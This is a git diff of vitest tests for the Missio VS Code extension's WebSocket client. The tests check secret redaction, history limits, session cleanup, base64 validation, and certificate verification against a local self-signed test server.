+        { timestamp: '2026-07-21T00:00:00.000Z', direction: 'outbound', type: 'json', data: '{"token":"live-token"}' },
+        { timestamp: '2026-07-21T00:00:01.000Z', direction: 'inbound', type: 'text', data: 'live-token' },
+        { timestamp: '2026-07-21T00:00:02.000Z', direction: 'event', type: 'close', reason: 'live-token' },
+      ],
+      inboundCount: 1,
+      outboundCount: 1,
+      createdAt: '2026-07-21T00:00:00.000Z',
+      updatedAt: '2026-07-21T00:00:02.000Z',
+      lastError: 'Handshake failed for wss://example.test/ws?code=live-code',
+    } as any;
+    const response = {
+      status: 101,
+      statusText: 'WebSocket Session',
+      headers: { 'x-missio-websocket-url': session.url },
+      body: JSON.stringify({ events: session.events, url: session.url }),
+      duration: 12,
+      size: 500,
+    };
+    const execution = {
+      getWebSocketSession: vi.fn().mockReturnValue(session),
+      disconnectWebSocketSession: vi.fn().mockResolvedValue(response),
+    } as any;
+    const tool = new WebSocketSessionTool(
+      { getCollections: () => [], getCollection: vi.fn() } as any,
+      makeEnvironmentService(),
+      execution,
+    );
+    const requestFilePath = path.resolve('socket.yml');
+
+    const statusText = await tool.call({ input: { operation: 'status', requestFilePath } } as any, {} as any);
+    const messagesText = await tool.call({ input: { operation: 'list-messages', requestFilePath } } as any, {} as any);
+    const disconnectText = await tool.call({ input: { operation: 'disconnect', requestFilePath } } as any, {} as any);
+    const combined = statusText + messagesText + disconnectText;
+
+    expect(combined).not.toContain('live-token');
+    expect(combined).not.toContain('live-signature');
+    expect(combined).not.toContain('live-code');
+    expect(combined).not.toContain('password');
+    expect(JSON.parse(messagesText).messages).toEqual(expect.arrayContaining([
+      expect.objectContaining({ direction: 'outbound', data: '[redacted]' }),
+      expect.objectContaining({ direction: 'inbound', data: '[redacted]' }),
+      expect.objectContaining({ type: 'close', reason: '[redacted]' }),
+    ]));
+    expect(JSON.parse(disconnectText).response).toEqual({
+      status: 101,
+      statusText: 'WebSocket Session',
+      duration: 12,
+      size: 500,
+    });
+  });
+
+  it('resolves secret references for editor-supplied messages and bounds retained history', async () => {
+    const sentPayloads: unknown[] = [];
+    const socket = {
+      readyState: WebSocket.OPEN,
+      send: (payload: unknown, callback: (error?: Error) => void) => {
+        sentPayloads.push(payload);
+        callback();
+      },
+      close: vi.fn(),
+    };
+    const client = new WebSocketClient(makeEnvironmentService());
+    client.setSecretService({
+      resolveSecretReferences: vi.fn(async (value: string) => value.replace('$secret.kv.token', 'resolved-token')),
+    } as any);
+    (client as any)._sessions.set('socket.yml', activeSession(socket));
+
+    await client.sendMessage('socket.yml', { type: 'json', data: '{"token":"$secret.kv.token"}' });
+    expect(String(sentPayloads[0])).toContain('resolved-token');
+
+    const internal = (client as any)._sessions.get('socket.yml');
+    for (let index = 0; index < MAX_WEBSOCKET_SESSION_EVENTS + 25; index++) {
+      (client as any)._recordEvent(internal, { direction: 'inbound', type: 'text', data: `message-${index}` });
+    }
+    const capped = client.getSession('socket.yml')!;
+    expect(capped.events).toHaveLength(MAX_WEBSOCKET_SESSION_EVENTS);
+    expect(capped.inboundCount).toBe(MAX_WEBSOCKET_SESSION_EVENTS + 25);
+    expect(capped.events.at(-1)?.data).toBe(`message-${MAX_WEBSOCKET_SESSION_EVENTS + 24}`);
+
+    const cleared = client.clearSessionEvents('socket.yml')!;
+    expect(cleared.events).toEqual([]);
+    expect(cleared.inboundCount).toBe(MAX_WEBSOCKET_SESSION_EVENTS + 25);
+    client.dispose();
+  });
+
+  it('bounds retained terminal sessions', () => {
+    const client = new WebSocketClient(makeEnvironmentService());
+    for (let index = 0; index < 25; index++) {
+      const session = {
+        ...activeSession(undefined),
+        requestId: `closed-${index}.yml`,
+        state: 'closed',
+        updatedAt: new Date(Date.UTC(2026, 6, 21, 0, 0, index)).toISOString(),
+      };
+      (client as any)._sessions.set(session.requestId, session);
+      (client as any)._scheduleSessionEviction(session);
+    }
+
+    expect((client as any)._sessions.size).toBe(20);
+    expect(client.getSession('closed-0.yml')).toBeUndefined();
+    expect(client.getSession('closed-24.yml')).toBeDefined();
+    client.dispose();
+  });
+
+  it('appends new history rows, clears host history, and disconnects Ctrl+Enter while connecting', async () => {
+    const { dom, messages } = await loadRequestPanel();
+    dispatchPanelMessage(dom, {
+      type: 'requestLoaded',
+      request: {
+        info: { name: 'Socket', type: 'websocket' },
+        websocket: { url: 'wss://example.test/ws', message: { type: 'text', data: 'ping' } },
+      },
+      filePath: 'socket.yml',
+    });
+
+    const firstEvent = { timestamp: '2026-07-21T00:00:00.000Z', direction: 'inbound', type: 'text', data: 'one' };
+    dispatchPanelMessage(dom, {
+      type: 'webSocketSession',
+      session: { requestId: 'socket.yml', state: 'connected', events: [firstEvent], inboundCount: 1, outboundCount: 0 },
+    });
+    const firstRow = document.querySelector('.websocket-history-row');
+
+    dispatchPanelMessage(dom, {
+      type: 'webSocketSession',
+      session: {
+        requestId: 'socket.yml',
+        state: 'connected',
+        events: [firstEvent, { timestamp: '2026-07-21T00:00:01.000Z', direction: 'inbound', type: 'text', data: 'two' }],
+        inboundCount: 2,
+        outboundCount: 0,
+      },
+    });
+    expect(document.querySelectorAll('.websocket-history-row')).toHaveLength(2);
+    expect(document.querySelector('.websocket-history-row')).toBe(firstRow);
+
+    (document.getElementById('wsClearHistoryBtn') as HTMLButtonElement).click();
+    expect(messages).toContainEqual({ type: 'webSocketClearHistory' });
+    expect(document.querySelectorAll('.websocket-history-row')).toHaveLength(0);
+
+    dispatchPanelMessage(dom, { type: 'webSocketConnecting' });
+    const beforeShortcut = messages.length;
+    document.dispatchEvent(new dom.window.KeyboardEvent('keydown', { key: 'Enter', ctrlKey: true, bubbles: true }));
+    expect(messages.slice(beforeShortcut)).toContainEqual({ type: 'webSocketDisconnect' });
+    expect(messages.slice(beforeShortcut)).not.toContainEqual(expect.objectContaining({ type: 'webSocketConnect' }));
+  });
+
+  it('clears retained history through the extension host', async () => {
+    const session = {
+      requestId: 'socket.yml',
+      state: 'connected',
+      events: [],
+      inboundCount: 2,
+      outboundCount: 1,
+    };
+    const execution = { clearWebSocketSessionHistory: vi.fn().mockReturnValue(session) };
+    const provider = new RequestEditorProvider(
+      { extensionUri: { fsPath: process.cwd() } } as any,
+      execution as any,
+      {} as any,
+      {} as any,
+      {} as any,
+      {} as any,
+    );
+    const webview = { postMessage: vi.fn() };
+
+    const handled = await (provider as any)._onMessage(
+      webview,
+      { type: 'webSocketClearHistory' },
+      { document: { uri: { fsPath: 'socket.yml' } } },
+    );
+
+    expect(handled).toBe(true);
+    expect(execution.clearWebSocketSessionHistory).toHaveBeenCalledWith('socket.yml');
+    expect(webview.postMessage).toHaveBeenCalledWith({ type: 'webSocketSession', session });
+  });
+
+  it('disconnects the request session when its editor panel is disposed', () => {
+    const execution = { disconnectWebSocketSession: vi.fn().mockResolvedValue(undefined) };
+    const provider = new RequestEditorProvider(
+      { extensionUri: { fsPath: process.cwd() } } as any,
+      execution as any,
+      {} as any,
+      {} as any,
+      {} as any,
+      {} as any,
+    );
+
+    (provider as any)._onPanelDisposed({ uri: { fsPath: 'socket.yml' } });
+
+    expect(execution.disconnectWebSocketSession).toHaveBeenCalledWith('socket.yml', 'Missio editor closed');
+  });
+});
diff --git a/test/webSocketSupport.test.ts b/test/webSocketSupport.test.ts
index 7182ad9..c5970f1 100644
--- a/test/webSocketSupport.test.ts
+++ b/test/webSocketSupport.test.ts
@@ -1,6 +1,7 @@
 import { afterEach, describe, expect, it, vi } from 'vitest';
 import * as fs from 'fs';
 import * as http from 'http';
+import * as https from 'https';
 import * as os from 'os';
 import * as path from 'path';
 import { parse as parseYaml } from 'yaml';
@@ -14,6 +15,7 @@ import { WebSocketSessionTool } from '../src/copilot/tools/webSocketSessionTool'
 import { RequestEditorProvider } from '../src/panels/requestPanel';
 import { registerRequestCommands } from '../src/commands/requestCommands';
 import { RequestExecutionService } from '../src/services/requestExecutionService';
+import { EnvironmentService } from '../src/services/environmentService';
 import { RuntimeExecutionError, RuntimeExecutionService } from '../src/services/runtimeExecutionService';
 import { WebSocketClient } from '../src/services/webSocketClient';
 import { detectUnresolvedVars } from '../src/services/unresolvedVars';
@@ -27,49 +29,74 @@ const demoRoot = path.resolve(__dirname, '..', 'examples', 'demo-api');
 const schemaPath = path.resolve(__dirname, '..', 'schema', 'opencollectionschema.json');
 const originalApplyEdit = workspace.applyEdit;
 
+const TEST_WSS_KEY = `-----BEGIN PRIVATE KEY-----
+MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCOkGFW8mojHqN2
+djMmfrhXAucWteHVUQd85pLDFkNC6VRvxtYaMj4H0wDBX6tOw5RGz4WtngulHudC
+bATlu0lk++xXcwPTuEIfPjfa+LLaqE8zdm5OnmlPSPra0TgugdecDsD13FQu9eSy
+PduXD3uU74onnyvjorUZNb6O+kUMPgHoA38EDM7jlQ2WqxOuiOVXPmBLK+XDRuQk
+qN+4uIyyckE6uRH45yQt1Mn8D1tqk7I+yhJmsKznrjqVs6BJ2QimNgjyEpVr/D3s
+rd2BnPTAdM1gpaAT64S7EIgh7tAgp2uxFlsCBfgMV+S5TGAVfXEitiJykr8DtI4N
+/Ni+dbghAgMBAAECggEAFazF395DXMuPtrcJ19R0WmZKlB1bFH+ZT9gOgDKmT0oC
+WGw2qQzyeWYPO1c8SGFb7dgnTto0kwo7xtF9fSAYbI4QxMrrzgi5pN5kx5oAN1ZX
+lE9xPeq/wBosaZBdplR/X26uz7KL6gfgmWjmNfVYqLAypQuCNL3MIuUU79AFJ3Mb
+57oylaKbF1Zu3GGTB5FFnXQmw7E1VQRrOYi3wKH/nAvdcKU56Paiu6EPRTDyNn+E
+Op7C/JAzVdQHIlKvAs+BfFazeNgLdVBGEkUEWYU4dbmaZkSiA5OM3f7Ido0Rxhao
+333eODUUi7ah1KDdvt3fathTUaEBPn1v8ExT+/NdsQKBgQC/oRfyf5M0Ud991hGb
+rJEGCXgi7lzNsNh7sL/wlae9ZAcabYRN6mSknkv+PxAa65RsicbEBDP/gCbF0XZn
+v9rvj9/YL0Bp+6KT/mYjhO8ZDJurc3/+G/9ZsL6MhCIEdlQT5n4MhOpCb6v+Dckn
+vPmIwqKS4Ib640pZ13QsPcWaZwKBgQC+c/trOWwfTEzinYsy6rwHn1QOgOHFl+Jt
+2XK3MgZsfelq7MpvoFOKSxhKf6NJwnj8EaJ0oeq/IalywOdfp+/OLAQvVXxzprjy
+hhhIQhx9l6Ld5VyBLfB5GxSrN0yHwYpZ/z7aTikM1+Nbb4dFGJombg9KqhX4JCYB
+TBvVS5KUNwKBgQCsUnsscJi5dd6aVESlTztiyGUmVF9UAPHL2Rfhi1K6NxdEJrPR
+NTSn7Em+KoubCboBGKyLXJQ98MntHf1yMs74mtLanzM3mzeKCj1jN4mjZvkd5tF0
+e0zXJN9VkQTeKmJVOvKi42udrrplzZPUjlV/LDfyCMKZHoef3uXzWuE1hQKBgGxe
+fIIvo2lPtjQAZxNq4+EGdQLnrRAM86eD4rWA/oy/PJE9+ZZ4yPBY+JJzfEtdIBB2
+TFVHSNbG5a9JOp6AZYCQJTV11CHOjVBaoviCvcls/hx7BR7wL/QJR8KA7cgVhY7e
+ITqA3PTU5ybBGFxlulkBqSvYCjYvA30bfH7qyJYTAoGBAIfUU88/mCVoRc18ZCeQ
+pGje5MKSL19Koz8mU72ExD1q0spCOcyC9dmLM4OJ1ySnjUtqtU94H7ysw8fkhFIi
+SRcv0YeZelIERjJP/sWiYPRooqRo28rPqLF175X90/vXpTQTRIft0wG+lAxMIAxa
+Kx90GEeOLK9xm5XnJe8lyeMb
+-----END PRIVATE KEY-----`;
+
+const TEST_WSS_CERT = `-----BEGIN CERTIFICATE-----
+MIIDJzCCAg+gAwIBAgIUXnCFUJhzBzuc58UKxWfqBmPsKzgwDQYJKoZIhvcNAQEL
+BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MCAXDTI2MDcyMTAzMTUxN1oYDzIxMjYw
+NjI3MDMxNTE3WjAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEB
+AQUAA4IBDwAwggEKAoIBAQCOkGFW8mojHqN2djMmfrhXAucWteHVUQd85pLDFkNC
+6VRvxtYaMj4H0wDBX6tOw5RGz4WtngulHudCbATlu0lk++xXcwPTuEIfPjfa+LLa
+qE8zdm5OnmlPSPra0TgugdecDsD13FQu9eSyPduXD3uU74onnyvjorUZNb6O+kUM
+PgHoA38EDM7jlQ2WqxOuiOVXPmBLK+XDRuQkqN+4uIyyckE6uRH45yQt1Mn8D1tq
+k7I+yhJmsKznrjqVs6BJ2QimNgjyEpVr/D3srd2BnPTAdM1gpaAT64S7EIgh7tAg
+p2uxFlsCBfgMV+S5TGAVfXEitiJykr8DtI4N/Ni+dbghAgMBAAGjbzBtMB0GA1Ud
+DgQWBBQfl8PC473O8fVg7hDFpWn4+T46bTAfBgNVHSMEGDAWgBQfl8PC473O8fVg
+7hDFpWn4+T46bTAPBgNVHRMBAf8EBTADAQH/MBoGA1UdEQQTMBGCCWxvY2FsaG9z
+dIcEfwAAATANBgkqhkiG9w0BAQsFAAOCAQEAEg6LF/f84rFeAmMj3OcvwuPmW6ha
+mC7fxNLTtwSscPFCYLAKNqh49ylHrTYhTgyjJQ/ZI9gYzN2Y9R8nLIaEsSmCmjTA
+pPq3nQJ1XCuyph8lpoJANuhGoQbsRYqXe0bDJHipyNXrldmloXjaOmu5RL2BzhBJ
+SpimjuMSJXiKdju4XElcuH7izo6OOPNF2iVi4YJ6RMf7xV+4xGP7zGi+7zZT0b5X
+91m93to1tqR9TAjoxQLWLff8KF6yi5UtxYf8FORAL8NGjcNs8He2JEyycSnbX4eX
+zr6QeXuyE6l9wzyYalq09tF3XEiLrxH43jTgc5ixTckTjCDZ2rxl2jHKtw==
+-----END CERTIFICATE-----`;
+
 interface Fixture {
-  server: http.Server;
+  server: http.Server | https.Server;
   wss: WebSocketServer;
   baseUrl: string;
 }
 
 const fixtures: Fixture[] = [];
 
-function interpolate(template: string, vars: Map<string, string>): string {
-  return template.replace(/\{\{\s*([\w.$-]+)\s*\}\}/g, (match, name) => vars.get(name) ?? match);
-}
-
-function isJsonLiteral(value: string): boolean {
-  try {
-    JSON.parse(value);
-    return /^(?:-?\d|true$|false$|null$|\[|\{)/.test(value.trim());
-  } catch {
-    return false;
-  }
-}
-
-function interpolateJson(template: string, vars: Map<string, string>): string {
-  const phase1 = template.replace(/"(\{\{\s*[\w.$-]+\s*\}\})"/g, (match, placeholder) => {
-    const nameMatch = placeholder.match(/\{\{\s*([\w.$-]+)\s*\}\}/);
-    if (!nameMatch) return match;
-    const value = vars.get(nameMatch[1]);
-    if (value === undefined) return match;
-    return isJsonLiteral(value) ? value : `"${value.replace(/\\/g, '\\\\').replace(/"/g, '\\"')}"`;
-  });
-  return interpolate(phase1, vars);
-}
-
 function makeEnvService(vars: Record<string, string> = {}) {
   const map = new Map(Object.entries(vars));
-  return {
-    resolveVariables: vi.fn().mockResolvedValue(new Map(map)),
-    resolveVariablesWithSource: vi.fn().mockResolvedValue(
-      new Map([...map].map(([key, value]) => [key, { value, source: 'environment' }])),
-    ),
-    interpolate,
-    interpolateJson,
-    getActiveEnvironmentName: () => undefined,
-  } as any;
+  const service = new EnvironmentService({
+    globalState: { get: vi.fn().mockReturnValue(undefined) },
+    workspaceState: { get: vi.fn((_key: string, defaultValue: unknown) => defaultValue) },
+  } as any, {} as any);
+  vi.spyOn(service, 'resolveVariables').mockResolvedValue(new Map(map));
+  vi.spyOn(service, 'resolveVariablesWithSource').mockResolvedValue(
+    new Map([...map].map(([key, value]) => [key, { value, source: 'environment' }])),
+  );
+  return service;
 }
 
 function makeCollection(rootDir = process.cwd()): MissioCollection {
@@ -190,6 +217,21 @@ async function startFixture(): Promise<Fixture> {
   return fixture;
 }
 
+async function startSecureFixture(): Promise<Fixture> {
+  const server = https.createServer({ key: TEST_WSS_KEY, cert: TEST_WSS_CERT });
+  const wss = new WebSocketServer({ server });
+  wss.on('connection', ws => {
+    ws.on('message', (data, isBinary) => ws.send(data, { binary: isBinary }));
+  });
+
+  await new Promise<void>(resolve => server.listen(0, '127.0.0.1', resolve));
+  const address = server.address();
+  if (!address || typeof address === 'string') throw new Error('secure fixture server did not bind to a port');
+  const fixture = { server, wss, baseUrl: `wss://127.0.0.1:${address.port}` };
+  fixtures.push(fixture);
+  return fixture;
+}
+
 async function closeFixtures(): Promise<void> {
   await Promise.all(fixtures.splice(0).map(fixture => new Promise<void>(resolve => {
     for (const client of fixture.wss.clients) client.terminate();
@@ -359,6 +401,22 @@ describe('WebSocket execution lifecycle', () => {
     });
   });
 
+  it('rejects malformed binary payloads instead of decoding them lossily', async () => {
+    const client = new WebSocketClient(makeEnvService({ tenant: 'nz' }));
+
+    await expect(client.send({
+      info: { name: 'Invalid binary', type: 'websocket' },
+      websocket: {
+        url: 'ws://127.0.0.1:1/ws/echo',
+        message: { type: 'binary', data: 'ABC' },
+      },
+    }, makeCollection())).rejects.toMatchObject({
+      code: 'MISSIO_INVALID_WEBSOCKET_BINARY_DATA',
+      message: 'Binary WebSocket message data must be valid base64.',
+    });
+    expect(client.activeConnectionCount).toBe(0);
+  });
+
   it('handles server close and explicit cancellation without leaking active sockets', async () => {
     const fixture = await startFixture();
     const envService = makeEnvService({ wsBaseUrl: fixture.baseUrl, tenant: 'nz' });
@@ -421,14 +479,14 @@ describe('WebSocket execution lifecycle', () => {
         scripts: [
           {
             type: 'before-request',
-            code: 'missio.variables.set("runtimeUser", "{{runtimeUserName}}");',
+            code: 'missio.variables.set("runtimeUser", missio.variables.get("runtimeUserName"));',
           },
           {
             type: 'before-request',
             code: [
               'missio.request.headers.set("X-Demo-Client", "missio-demo");',
-              'missio.request.headers.set("X-Runtime-Header", "{{runtimeHeader}}");',
-              'missio.request.body = { user: "{{runtimeUser}}", count: Number("{{runtimeCount}}") };',
+              'missio.request.headers.set("X-Runtime-Header", missio.variables.get("runtimeHeader"));',
+              'missio.request.body = { user: missio.variables.get("runtimeUser"), count: Number(missio.variables.get("runtimeCount")) };',
             ].join('\n'),
           },
           {
@@ -584,6 +642,42 @@ describe('WebSocket execution lifecycle', () => {
     });
     expect(client.activeConnectionCount).toBe(0);
   });
+
+  it('surfaces server-side upgrade rejection and clears active sockets', async () => {
+    const fixture = await startFixture();
+    const client = new WebSocketClient(makeEnvService({ wsBaseUrl: fixture.baseUrl, tenant: 'nz' }));
+
+    await expect(client.send({
+      info: { name: 'Rejected upgrade', type: 'websocket' },
+      websocket: { url: '{{wsBaseUrl}}/ws/reject' },
+    }, makeCollection())).rejects.toThrow(/401/);
+    expect(client.activeConnectionCount).toBe(0);
+  });
+
+  it('verifies wss certificates by default and honors rejectUnauthorized=false', async () => {
+    const fixture = await startSecureFixture();
+    const request: WebSocketRequest = {
+      info: { name: 'Secure echo', type: 'websocket' },
+      websocket: {
+        url: '{{wsBaseUrl}}',
+        message: { type: 'text', data: 'secure hello' },
+      },
+    };
+
+    const strictClient = new WebSocketClient(makeEnvService({ wsBaseUrl: fixture.baseUrl, tenant: 'nz' }));
+    await expect(strictClient.send(request, makeCollection())).rejects.toThrow(/self-signed certificate/i);
+    expect(strictClient.activeConnectionCount).toBe(0);
+
+    vi.spyOn(workspace, 'getConfiguration').mockImplementation(() => ({
+      get: (key: string, defaultValue: unknown) => key === 'rejectUnauthorized' ? false : defaultValue,
+    }) as any);
+    const relaxedClient = new WebSocketClient(makeEnvService({ wsBaseUrl: fixture.baseUrl, tenant: 'nz' }));
+    const response = await relaxedClient.send(request, makeCollection());
+    const inbound = JSON.parse(response.body).events.find((event: any) => event.direction === 'inbound');
+
+    expect(inbound).toMatchObject({ type: 'text', data: 'secure hello' });
+    expect(relaxedClient.activeConnectionCount).toBe(0);
+  });
 });
 
 describe('WebSocket editor, variables, and tools', () => {
@@ -1058,7 +1152,7 @@ websocket:
       {} as any,
     ));
     expect(status.session.events.find((event: any) => event.direction === 'inbound')).toMatchObject({
-      data: 'hello Ada',
+      data: '[redacted]',
     });
 
     const disconnected = JSON.parse(await sessionTool.call(